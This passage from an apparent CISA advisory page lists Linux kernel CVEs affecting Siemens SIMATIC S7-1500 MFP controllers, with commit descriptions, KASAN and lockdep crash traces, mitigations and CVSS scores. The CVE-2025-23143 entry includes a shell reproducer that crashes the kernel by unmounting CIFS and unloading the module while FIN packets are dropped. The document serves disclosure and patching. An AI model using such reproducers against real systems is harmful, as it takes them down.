https://gitlab.com/davidhildenbrand/scratchspace/-/raw/main/reproducers/pat_fork.c WARNING: CPU: 26 PID: 11650 at arch/x86/mm/pat/memtype.c:983 get_pat_info+0xf6/0x110 Modules linked in: ... CPU: 26 UID: 0 PID: 11650 Comm: repro3 Not tainted 6.12.0-rc5+ #92 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-2.fc40 04/01/2014 RIP: 0010:get_pat_info+0xf6/0x110 ... Call Trace: ... untrack_pfn+0x52/0x110 unmap_single_vma+0xa6/0xe0 unmap_vmas+0x105/0x1f0 exit_mmap+0xf6/0x460 __mmput+0x4b/0x120 copy_process+0x1bf6/0x2aa0 kernel_clone+0xab/0x440 __do_sys_clone+0x66/0x90 do_syscall_64+0x95/0x180 Likely this case was missed in: d155df53f310 ("x86/mm/pat: clear VM_PAT if copy_p4d_range failed") ... and instead of undoing the reservation we simply cleared the VM_PAT flag. Keep the documentation of these functions in include/linux/pgtable.h, one place is more than sufficient -- we should clean that up for the other functions like track_pfn_remap/untrack_pfn separately.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22090">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/459.html">CWE-459 Incomplete Cleanup</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22095</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: PCI: brcmstb: Fix error path after a call to regulator_bulk_get() If the regulator_bulk_get() returns an error and no regulators are created, we need to set their number to zero. If we don't do this and the PCIe link up fails, a call to the regulator_bulk_free() will result in a kernel panic. While at it, print the error value, as we cannot return an error upwards as the kernel will WARN() on an error from add_bus(). [kwilczynski: commit log, use comma in the message to match style with other similar messages]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22095">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22107</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: dsa: sja1105: fix kasan out-of-bounds warning in sja1105_table_delete_entry() There are actually 2 problems: - deleting the last element doesn't require the memmove of elements [i + 1, end) over it. Actually, element i+1 is out of bounds. - The memmove itself should move size - i - 1 elements, because the last element is out of bounds. The out-of-bounds element still remains out of bounds after being accessed, so the problem is only that we touch it, not that it becomes in active use. But I suppose it can lead to issues if the out-of-bounds element is part of an unmapped page.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22107">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22111</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: Remove RTNL dance for SIOCBRADDIF and SIOCBRDELIF. SIOCBRDELIF is passed to dev_ioctl() first and later forwarded to br_ioctl_call(), which causes unnecessary RTNL dance and the splat below [0] under RTNL pressure. Let's say Thread A is trying to detach a device from a bridge and Thread B is trying to remove the bridge. In dev_ioctl(), Thread A bumps the bridge device's refcnt by netdev_hold() and releases RTNL because the following br_ioctl_call() also re-acquires RTNL. In the race window, Thread B could acquire RTNL and try to remove the bridge device. Then, rtnl_unlock() by Thread B will release RTNL and wait for netdev_put() by Thread A. Thread A, however, must hold RTNL after the unlock in dev_ifsioc(), which may take long under RTNL pressure, resulting in the splat by Thread B. Thread A (SIOCBRDELIF) Thread B (SIOCBRDELBR) ---------------------- ---------------------- sock_ioctl sock_ioctl `- sock_do_ioctl `- br_ioctl_call `- dev_ioctl `- br_ioctl_stub |- rtnl_lock | |- dev_ifsioc ' ' |- dev = __dev_get_by_name(...) |- netdev_hold(dev, ...) . / |- rtnl_unlock ------. | | |- br_ioctl_call `---&gt; |- rtnl_lock Race | | `- br_ioctl_stub |- br_del_bridge Window | | | |- dev = __dev_get_by_name(...) | | | May take long | `- br_dev_delete(dev, ...) | | | under RTNL pressure | `- unregister_netdevice_queue(dev, ...) | | | | `- rtnl_unlock \ | |- rtnl_lock &lt;-' `- netdev_run_todo | |- ... `- netdev_run_todo | `- rtnl_unlock |- __rtnl_unlock | |- netdev_wait_allrefs_any |- netdev_put(dev, ...) &lt;----------------' Wait refcnt decrement and log splat below To avoid blocking SIOCBRDELBR unnecessarily, let's not call dev_ioctl() for SIOCBRADDIF and SIOCBRDELIF. In the dev_ioctl() path, we do the following: 1. Copy struct ifreq by get_user_ifreq in sock_do_ioctl() 2. Check CAP_NET_ADMIN in dev_ioctl() 3. Call dev_load() in dev_ioctl() 4. Fetch the master dev from ifr.ifr_name in dev_ifsioc() 3. can be done by request_module() in br_ioctl_call(), so we move 1., 2., and 4. to br_ioctl_stub(). Note that 2. is also checked later in add_del_if(), but it's better performed before RTNL. SIOCBRADDIF and SIOCBRDELIF have been processed in dev_ioctl() since the pre-git era, and there seems to be no specific reason to process them there. [0]: unregister_netdevice: waiting for wpan3 to become free. Usage count = 2 ref_tracker: wpan3@ffff8880662d8608 has 1/1 users at __netdev_tracker_alloc include/linux/netdevice.h:4282 [inline] netdev_hold include/linux/netdevice.h:4311 [inline] dev_ifsioc+0xc6a/0x1160 net/core/dev_ioctl.c:624 dev_ioctl+0x255/0x10c0 net/core/dev_ioctl.c:826 sock_do_ioctl+0x1ca/0x260 net/socket.c:1213 sock_ioctl+0x23a/0x6c0 net/socket.c:1318 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:906 [inline] __se_sys_ioctl fs/ioctl.c:892 [inline] __x64_sys_ioctl+0x1a4/0x210 fs/ioctl.c:892 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcb/0x250 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22111">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22121</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: fix out-of-bound read in ext4_xattr_inode_dec_ref_all() There's issue as follows: BUG: KASAN: use-after-free in ext4_xattr_inode_dec_ref_all+0x6ff/0x790 Read of size 4 at addr ffff88807b003000 by task syz-executor.0/15172 CPU: 3 PID: 15172 Comm: syz-executor.0 Call Trace: __dump_stack lib/dump_stack.c:82 [inline] dump_stack+0xbe/0xfd lib/dump_stack.c:123 print_address_description.constprop.0+0x1e/0x280 mm/kasan/report.c:400 __kasan_report.cold+0x6c/0x84 mm/kasan/report.c:560 kasan_report+0x3a/0x50 mm/kasan/report.c:585 ext4_xattr_inode_dec_ref_all+0x6ff/0x790 fs/ext4/xattr.c:1137 ext4_xattr_delete_inode+0x4c7/0xda0 fs/ext4/xattr.c:2896 ext4_evict_inode+0xb3b/0x1670 fs/ext4/inode.c:323 evict+0x39f/0x880 fs/inode.c:622 iput_final fs/inode.c:1746 [inline] iput fs/inode.c:1772 [inline] iput+0x525/0x6c0 fs/inode.c:1758 ext4_orphan_cleanup fs/ext4/super.c:3298 [inline] ext4_fill_super+0x8c57/0xba40 fs/ext4/super.c:5300 mount_bdev+0x355/0x410 fs/super.c:1446 legacy_get_tree+0xfe/0x220 fs/fs_context.c:611 vfs_get_tree+0x8d/0x2f0 fs/super.c:1576 do_new_mount fs/namespace.c:2983 [inline] path_mount+0x119a/0x1ad0 fs/namespace.c:3316 do_mount+0xfc/0x110 fs/namespace.c:3329 __do_sys_mount fs/namespace.c:3540 [inline] __se_sys_mount+0x219/0x2e0 fs/namespace.c:3514 do_syscall_64+0x33/0x40 arch/x86/entry/common.c:46 entry_SYSCALL_64_after_hwframe+0x67/0xd1 Memory state around the buggy address: ffff88807b002f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ffff88807b002f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &gt;ffff88807b003000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ^ ffff88807b003080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ffff88807b003100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Above issue happens as ext4_xattr_delete_inode() isn't check xattr is valid if xattr is in inode. To solve above issue call xattr_check_inode() check if xattr if valid in inode. In fact, we can directly verify in ext4_iget_extra_inode(), so that there is no divergent verification.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22121">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-23136</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: thermal: int340x: Add NULL check for adev Not all devices have an ACPI companion fwnode, so adev might be NULL. This is similar to the commit cd2fd6eab480 ("platform/x86: int3472: Check for adev == NULL"). Add a check for adev not being set and return -ENODEV in that case to avoid a possible NULL pointer deref in int3402_thermal_probe(). Note, under the same directory, int3400_thermal_probe() has such a check. [ rjw: Subject edit, added Fixes: ]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-23136">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-23143</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: Fix null-ptr-deref by sock_lock_init_class_and_name() and rmmod. When I ran the repro [0] and waited a few seconds, I observed two LOCKDEP splats: a warning immediately followed by a null-ptr-deref. [1] Reproduction Steps: 1) Mount CIFS 2) Add an iptables rule to drop incoming FIN packets for CIFS 3) Unmount CIFS 4) Unload the CIFS module 5) Remove the iptables rule At step 3), the CIFS module calls sock_release() for the underlying TCP socket, and it returns quickly. However, the socket remains in FIN_WAIT_1 because incoming FIN packets are dropped. At this point, the module's refcnt is 0 while the socket is still alive, so the following rmmod command succeeds. # ss -tan State Recv-Q Send-Q Local Address:Port Peer Address:Port FIN-WAIT-1 0 477 10.0.2.15:51062 10.0.0.137:445 # lsmod | grep cifs cifs 1159168 0 This highlights a discrepancy between the lifetime of the CIFS module and the underlying TCP socket. Even after CIFS calls sock_release() and it returns, the TCP socket does not die immediately in order to close the connection gracefully. While this is generally fine, it causes an issue with LOCKDEP because CIFS assigns a different lock class to the TCP socket's sk-&gt;sk_lock using sock_lock_init_class_and_name(). Once an incoming packet is processed for the socket or a timer fires, sk-&gt;sk_lock is acquired. Then, LOCKDEP checks the lock context in check_wait_context(), where hlock_class() is called to retrieve the lock class. However, since the module has already been unloaded, hlock_class() logs a warning and returns NULL, triggering the null-ptr-deref. If LOCKDEP is enabled, we must ensure that a module calling sock_lock_init_class_and_name() (CIFS, NFS, etc) cannot be unloaded while such a socket is still alive to prevent this issue. Let's hold the module reference in sock_lock_init_class_and_name() and release it when the socket is freed in sk_prot_free(). Note that sock_lock_init() clears sk-&gt;sk_owner for svc_create_socket() that calls sock_lock_init_class_and_name() for a listening socket, which clones a socket by sk_clone_lock() without GFP_ZERO. [0]: CIFS_SERVER="10.0.0.137" CIFS_PATH="//${CIFS_SERVER}/Users/Administrator/Desktop/CIFS_TEST" DEV="enp0s3" CRED="/root/WindowsCredential.txt" MNT=$(mktemp -d /tmp/XXXXXX) mount -t cifs ${CIFS_PATH} ${MNT} -o vers=3.0,credentials=${CRED},cache=none,echo_interval=1 iptables -A INPUT -s ${CIFS_SERVER} -j DROP for i in $(seq 10); do umount ${MNT} rmmod cifs sleep 1 done rm -r ${MNT} iptables -D INPUT -s ${CIFS_SERVER} -j DROP [1]: DEBUG_LOCKS_WARN_ON(1) WARNING: CPU: 10 PID: 0 at kernel/locking/lockdep.c:234 hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) Modules linked in: cifs_arc4 nls_ucs2_utils cifs_md4 [last unloaded: cifs] CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Not tainted 6.14.0 #36 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) ... Call Trace: __lock_acquire (kernel/locking/lockdep.c:4853 kernel/locking/lockdep.c:5178) lock_acquire (kernel/locking/lockdep.c:469 kernel/locking/lockdep.c:5853 kernel/locking/lockdep.c:5816) _raw_spin_lock_nested (kernel/locking/spinlock.c:379) tcp_v4_rcv (./include/linux/skbuff.h:1678 ./include/net/tcp.h:2547 net/ipv4/tcp_ipv4.c:2350) ... BUG: kernel NULL pointer dereference, address: 00000000000000c4 PF: supervisor read access in kernel mode PF: error_code(0x0000) - not-present page PGD 0 Oops: Oops: 0000 [#1] PREEMPT SMP NOPTI CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Tainted: G W 6.14.0 #36 Tainted: [W]=WARN Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:__lock_acquire (kernel/ ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-23143">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37785</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: fix OOB read when checking dotdot dir Mounting a corrupted filesystem with directory which contains '.' dir entry with rec_len == block size results in out-of-bounds read (later on, when the corrupted directory is removed). ext4_empty_dir() assumes every ext4 directory contains at least '.' and '..' as directory entries in the first data block. It first loads the '.' dir entry, performs sanity checks by calling ext4_check_dir_entry() and then uses its rec_len member to compute the location of '..' dir entry (in ext4_next_entry). It assumes the '..' dir entry fits into the same data block. If the rec_len of '.' is precisely one block (4KB), it slips through the sanity checks (it is considered the last directory entry in the data block) and leaves "struct ext4_dir_entry_2 *de" point exactly past the memory slot allocated to the data block. The following call to ext4_check_dir_entry() on new value of de then dereferences this pointer which results in out-of-bounds mem access. Fix this by extending __ext4_check_dir_entry() to check for '.' dir entries that reach the end of data block. Make sure to ignore the phony dir entries for checksum (by checking name_len for non-zero). Note: This is reported by KASAN as use-after-free in case another structure was recently freed from the slot past the bound, but it is really an OOB read. This issue was found by syzkaller tool. Call Trace: [ 38.594108] BUG: KASAN: slab-use-after-free in __ext4_check_dir_entry+0x67e/0x710 [ 38.594649] Read of size 2 at addr ffff88802b41a004 by task syz-executor/5375 [ 38.595158] [ 38.595288] CPU: 0 UID: 0 PID: 5375 Comm: syz-executor Not tainted 6.14.0-rc7 #1 [ 38.595298] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 38.595304] Call Trace: [ 38.595308] [ 38.595311] dump_stack_lvl+0xa7/0xd0 [ 38.595325] print_address_description.constprop.0+0x2c/0x3f0 [ 38.595339] ? __ext4_check_dir_entry+0x67e/0x710 [ 38.595349] 